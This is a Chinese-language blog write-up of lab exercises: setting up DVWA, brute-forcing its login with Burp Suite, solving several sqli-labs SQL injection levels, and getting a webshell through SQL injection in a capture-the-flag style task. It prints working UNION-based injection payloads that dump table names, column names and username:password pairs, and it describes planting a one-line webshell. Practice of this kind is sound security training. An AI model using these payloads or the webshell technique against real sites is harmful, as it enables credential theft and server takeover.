sqli-labs实战演练


一、phpstudy搭建dvwa

1. 搭建DVWA

1607933242151

2. 修改数据库密码

1607933305036

3. 启动phpstudy,访问dvwa

1607933317915

1607933327010

二、dvwa brute force模块使用burpsuite暴力破解

1. 开启burpsuit 代理

1607933347568

2. 抓取数据,将其发送到intruder模块

1607933364567

将password设置为破解的payload

1607933375791

选择一个字典包,进行破解

1607933413535

修改线程,提高破解速率

1607933425110

三、安全实验–sql注入–sqli-labs靶场

第一关

1、输入 \ 判断闭合类型

http://bbe0a838.yunyansec.com/Less-1/?id=1\

1607933465451

由此可知是 闭合

2、输入单引号进行闭合

http://bbe0a838.yunyansec.com/Less-1/?id=1' –+

1607933503149

3、输入order by 探测字段列数

Order by 5

1607933516960

Order by 3

1607933527706

Order by 4

1607933555802

由此可判断有3列

4、使用union select 获取数据库信息

http://bbe0a838.yunyansec.com/Less-1/?id=-1' union select 1,2,3 –+

1607933584904

可在2,3处进行SQL注入

获取数据库版本信息、数据库名等

http://bbe0a838.yunyansec.com/Less-1/?id=-1' union select 1,database(),@@version –+

1607933695681

获取数据库security中的表名

http://bbe0a838.yunyansec.com/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

1607934052784

获取数据表users中的字段

http://bbe0a838.yunyansec.com/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+

1607934487404

获取users表中的数据

http://bbe0a838.yunyansec.com/Less-1/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+

1607934800913

第二关

1、输入 \ 判断闭合类型

<http://bbe0a838.yunyansec.com/Less-1/?id=2\>

1607935464289

再使用and 和 or 进行判断

http://bbe0a838.yunyansec.com/Less-2/?id=2 and 1=1

1607935590647

http://bbe0a838.yunyansec.com/Less-2/?id=2 and 1=2

1607935642040

由此可以判断是数字型注入。

2、输入order by 探测字段列数

1607935784544

4、使用union select 获取数据库信息

1607935932826

获取数据库版本信息、数据库名等

http://b35c43da.yunyansec.com/Less-2/?id=-2 union select 1,database(),user()

1607936034164

获取数据库security中的表名

1607936829373

获取数据表users中的字段

1607936802973

获取users表中的数据

1607936736661

第三关

1、输入 \ 判断闭合类型

1607936970730

由此可以判断是 ‘) 进行闭合的。

2、输入order by 探测字段列数

1607937101512

3、获取数据库信息

1607937184044

获取数据库security中的表名

1607937324823

获取数据表users中的字段

1607937356391

获取users表中的数据

1607937406513

第七关

1、输入id值观察

1607937641214

输入 \ 、’ 、” 都有报错,但是没有显示具体的错误

1607939141736

输入 ’)

1607940296324

经过查看了sqli-labs中的源码:原来是使用的 ‘)) ,怪不得试不出来。

1607939813153

1607939284754

看到了题目中的outfile ,让我们上传文件,但是这里搞不到路径,

想了想没办法,只能去第一关看看整体路径;

1607941430794

因为云演上的网络路径上传一直不成功,所以,又做了自己搭建的sqli-labs

上传一句话

1607955710572

得到shell

1607955669626

第十一关

1、输入 \ 判断闭合类型

1607949907039

可以得出是 ’ 闭合类型

2、输入order by 探测字段列数

1607949991565

获取数据库security中的表名

1607950306809

获取数据表users中的字段

1607950481055

获取users表中的数据

1607950662169

四、安全实验–sql注入–sql注入getshell

1、判断是否存在SQL注入

1607953772443

1607953791466

由此可知,该新闻页面存在SQL注入。

2、使用order by 探测

1607954237738

3、使用union select 联合查询

1607954204624

获取数据库信息

1607954369939

4、上传一句话木马

1607954905726

5、使用中国蚁剑连接

1607954968316

1607954994421

得到webshell

1607955041455

(www-data:/var/www) $ cat flag.txt

flag{b4dd36207eb58098c458fe9d9498727b}

五、总结SQL注入

一、判断是否存在注入点

​ 通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠\来探测URL中是否存在注入点。

二、SQL注入漏洞利用

**1、利用order by 获取字段数; **

       通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠\来探测URL中是否存在注入点。

2、使用union select 联合查询,获取表名

0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() –+
3、使用union select 联合查询,获取字段名;

0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name = ‘users’ –+

4、利用union select联合查询,获取字段值

0’union select 1,group_concat(username,0x3a,password),3 from users–+


文章作者: ruoli
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 ruoli !
  目录